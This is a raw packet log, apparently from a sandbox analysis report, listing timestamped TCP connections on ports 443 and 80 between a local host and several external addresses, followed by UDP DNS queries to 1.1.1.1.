Dec 24, 2024 15:06:42.797264099 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.797307014 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.797370911 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:42.797441006 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.798067093 CET	49774	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:42.798101902 CET	443	49774	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:43.017538071 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:43.017581940 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:43.017668962 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:43.018125057 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:43.018141031 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.242091894 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.242468119 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.242494106 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.243627071 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.245203018 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.245385885 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.245393038 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.245454073 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.245613098 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.245683908 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.245985031 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.245994091 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.847594976 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.847752094 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.847825050 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.847855091 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.847927094 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.847970963 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.847976923 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.850367069 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.850438118 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.850445032 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.858628035 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.858699083 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.858710051 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.866955042 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.867034912 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.867044926 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:44.918490887 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:44.966912985 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.010909081 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.010958910 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.044236898 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.044313908 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.044333935 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.051753998 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.051810026 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.051819086 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.059252977 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.059329033 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.059338093 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.066905022 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.066981077 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.066991091 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.067146063 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.067203045 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.067342997 CET	49775	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:45.067364931 CET	443	49775	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:45.089200974 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:45.089271069 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:45.089351892 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:45.089889050 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:45.089911938 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.307046890 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.307430983 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:46.307460070 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.307782888 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.308258057 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:46.308315992 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.308427095 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:46.351375103 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.752644062 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.752836943 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:46.752911091 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:46.753494024 CET	49776	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:46.753514051 CET	443	49776	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:52.582607031 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:52.582676888 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:52.582786083 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:52.583129883 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:52.583172083 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:53.800762892 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:53.801124096 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:53.801189899 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:53.802323103 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:53.802779913 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:53.802964926 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:53.802969933 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:53.803056955 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:53.803080082 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:53.803087950 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:53.803214073 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:53.803247929 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.492789984 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.492975950 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.493067980 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:54.493136883 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.493257999 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.493320942 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:54.493339062 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.493391037 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.493448973 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:54.495701075 CET	49777	443	192.168.2.4	104.18.94.41
Dec 24, 2024 15:06:54.495750904 CET	443	49777	104.18.94.41	192.168.2.4
Dec 24, 2024 15:06:54.523205996 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:54.523293018 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:54.523387909 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:54.523648024 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:54.523703098 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:55.045746088 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:55.045829058 CET	443	49779	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:55.045933008 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:55.046320915 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:55.046359062 CET	443	49779	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:55.741622925 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:55.742136955 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:55.742163897 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:55.743343115 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:55.743807077 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:55.743982077 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:55.743993998 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:55.790446043 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:55.790476084 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:56.184946060 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:56.185134888 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:56.185209990 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:56.186249971 CET	49778	443	192.168.2.4	104.18.95.41
Dec 24, 2024 15:06:56.186292887 CET	443	49778	104.18.95.41	192.168.2.4
Dec 24, 2024 15:06:56.260188103 CET	443	49779	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:56.260508060 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.260572910 CET	443	49779	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:56.264167070 CET	443	49779	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:56.264251947 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.264703989 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.264740944 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.264823914 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.264899015 CET	443	49779	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:56.264969110 CET	49779	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.265152931 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.265209913 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:56.265278101 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.265527010 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:56.265547991 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:57.502069950 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:57.524454117 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:57.524501085 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:57.529930115 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:57.530011892 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:57.531997919 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:57.532282114 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:57.532648087 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:57.532658100 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:57.587332010 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:58.586971045 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:58.587074995 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:58.589339018 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:58.589628935 CET	49780	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:58.589648962 CET	443	49780	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:58.769431114 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:58.769536018 CET	443	49781	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:58.769671917 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:58.770056963 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:06:58.770096064 CET	443	49781	172.67.168.1	192.168.2.4
Dec 24, 2024 15:06:59.988327980 CET	443	49781	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:00.033839941 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.103986025 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.104039907 CET	443	49781	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:00.107074022 CET	443	49781	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:00.107163906 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.107772112 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.107805014 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.107853889 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.107855082 CET	443	49781	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:00.107930899 CET	49781	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.108170033 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.108273983 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:00.108371973 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.108584881 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:00.108623028 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:01.331108093 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:01.331456900 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:01.331526041 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:01.335117102 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:01.335218906 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:01.335577011 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:01.335716963 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:01.335755110 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:01.383073092 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:01.383095980 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:01.429176092 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:02.222368956 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:02.222476006 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:02.222543001 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:02.225960016 CET	49784	443	192.168.2.4	172.67.168.1
Dec 24, 2024 15:07:02.225986004 CET	443	49784	172.67.168.1	192.168.2.4
Dec 24, 2024 15:07:04.478374958 CET	49741	443	192.168.2.4	167.89.118.23
Dec 24, 2024 15:07:04.478420019 CET	443	49741	167.89.118.23	192.168.2.4
Dec 24, 2024 15:07:05.546443939 CET	49744	80	192.168.2.4	192.185.77.74
Dec 24, 2024 15:07:05.666219950 CET	80	49744	192.185.77.74	192.168.2.4
Dec 24, 2024 15:07:15.451785088 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:15.451818943 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:15.452001095 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:15.452492952 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:15.452508926 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:17.159111977 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:17.159406900 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:17.159420967 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:17.160520077 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:17.160873890 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:17.161045074 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:17.213108063 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:18.752115011 CET	443	49741	167.89.118.23	192.168.2.4
Dec 24, 2024 15:07:18.752173901 CET	443	49741	167.89.118.23	192.168.2.4
Dec 24, 2024 15:07:18.752222061 CET	49741	443	192.168.2.4	167.89.118.23
Dec 24, 2024 15:07:18.821737051 CET	49741	443	192.168.2.4	167.89.118.23
Dec 24, 2024 15:07:18.821753025 CET	443	49741	167.89.118.23	192.168.2.4
Dec 24, 2024 15:07:21.293864965 CET	49744	80	192.168.2.4	192.185.77.74
Dec 24, 2024 15:07:21.415498972 CET	80	49744	192.185.77.74	192.168.2.4
Dec 24, 2024 15:07:21.415559053 CET	49744	80	192.168.2.4	192.185.77.74
Dec 24, 2024 15:07:26.888937950 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:26.889108896 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:26.889168024 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:27.020414114 CET	49820	443	192.168.2.4	172.217.21.36
Dec 24, 2024 15:07:27.020431042 CET	443	49820	172.217.21.36	192.168.2.4
Dec 24, 2024 15:07:29.697964907 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:29.697995901 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:29.698112965 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:29.698414087 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:29.698427916 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:30.917551994 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:30.919553995 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:30.919565916 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:30.919934988 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:30.923947096 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:30.924021006 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:30.924108028 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:30.963599920 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:30.963608027 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:31.380678892 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:31.380840063 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:31.380913019 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:31.381105900 CET	49903	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:31.381119013 CET	443	49903	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:31.382081032 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:31.382126093 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:31.382404089 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:31.382695913 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:31.382710934 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:32.595202923 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:32.595393896 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:32.595410109 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:32.595774889 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:32.596040010 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:32.596098900 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:32.596128941 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:32.636794090 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:32.636801958 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:33.057310104 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:33.057630062 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:33.057640076 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:33.057671070 CET	443	49917	35.190.80.1	192.168.2.4
Dec 24, 2024 15:07:33.057699919 CET	49917	443	192.168.2.4	35.190.80.1
Dec 24, 2024 15:07:33.057723999 CET	49917	443	192.168.2.4	35.190.80.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 15:06:12.310090065 CET	53	61907	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:12.317909002 CET	53	55794	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:15.124845028 CET	53	57425	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:15.393451929 CET	49552	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:15.393589020 CET	64892	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:15.530508995 CET	53	64892	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:15.530550957 CET	53	49552	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:17.343913078 CET	61281	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:17.344151020 CET	63706	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:17.562661886 CET	53	61281	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:17.578979969 CET	53	63706	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:19.892890930 CET	55446	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:19.893197060 CET	62524	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:20.290402889 CET	53	62524	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:20.294567108 CET	53	55446	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:21.548007965 CET	56212	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:21.548141003 CET	64436	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:21.687046051 CET	53	56212	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:21.687093973 CET	53	64436	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:23.491246939 CET	59788	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:23.491375923 CET	65008	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:23.975601912 CET	53	59788	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:23.975621939 CET	53	65008	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:26.643354893 CET	138	138	192.168.2.4	192.168.2.255
Dec 24, 2024 15:06:27.481237888 CET	57900	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:27.481884956 CET	58985	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:27.481884956 CET	65199	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:27.482342005 CET	53238	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:27.482342005 CET	62683	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:27.484456062 CET	53182	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:27.618680954 CET	53	65199	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:27.619256973 CET	53	53238	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:27.621192932 CET	53	57900	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:27.625890017 CET	53	58985	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:27.628144979 CET	53	53182	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:27.628386021 CET	53	62683	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:29.687463999 CET	61984	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:29.687625885 CET	63505	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:29.690115929 CET	64346	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:29.690244913 CET	50740	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:29.734805107 CET	58387	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:29.734991074 CET	55613	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:29.825242996 CET	53	63505	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:29.825576067 CET	53	61984	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:29.827272892 CET	53	64346	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:29.828253031 CET	53	50740	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:29.872181892 CET	53	55613	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:29.875336885 CET	53	58387	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:31.232587099 CET	53450	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:31.232728004 CET	61918	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:31.278883934 CET	52645	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:31.279028893 CET	55957	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:31.369693995 CET	53	53450	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:31.371689081 CET	53	61918	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:31.416145086 CET	53	55957	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:31.416263103 CET	53	52645	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:32.258956909 CET	53	49691	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:51.212172031 CET	53	51678	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:54.520351887 CET	61433	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:54.520545006 CET	58092	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:55.044658899 CET	53	61433	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:55.044905901 CET	53	58092	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:58.606405973 CET	51832	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:58.606646061 CET	54514	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:58.627013922 CET	50933	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:58.627264023 CET	59313	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:06:58.768436909 CET	53	59313	1.1.1.1	192.168.2.4
Dec 24, 2024 15:06:58.768517971 CET	53	50933	1.1.1.1	192.168.2.4
Dec 24, 2024 15:07:11.795686960 CET	53	50189	1.1.1.1	192.168.2.4
Dec 24, 2024 15:07:13.956645966 CET	53	64051	1.1.1.1	192.168.2.4
Dec 24, 2024 15:07:20.205909014 CET	60948	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:20.206120968 CET	56967	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:23.321535110 CET	62453	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:23.321692944 CET	58191	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:27.255604982 CET	52937	53	192.168.2.4	1.1.1.1
Dec 24, 2024 15:07:27.255737066 CET	49403	53	192.168.2.4	1.1.1.1
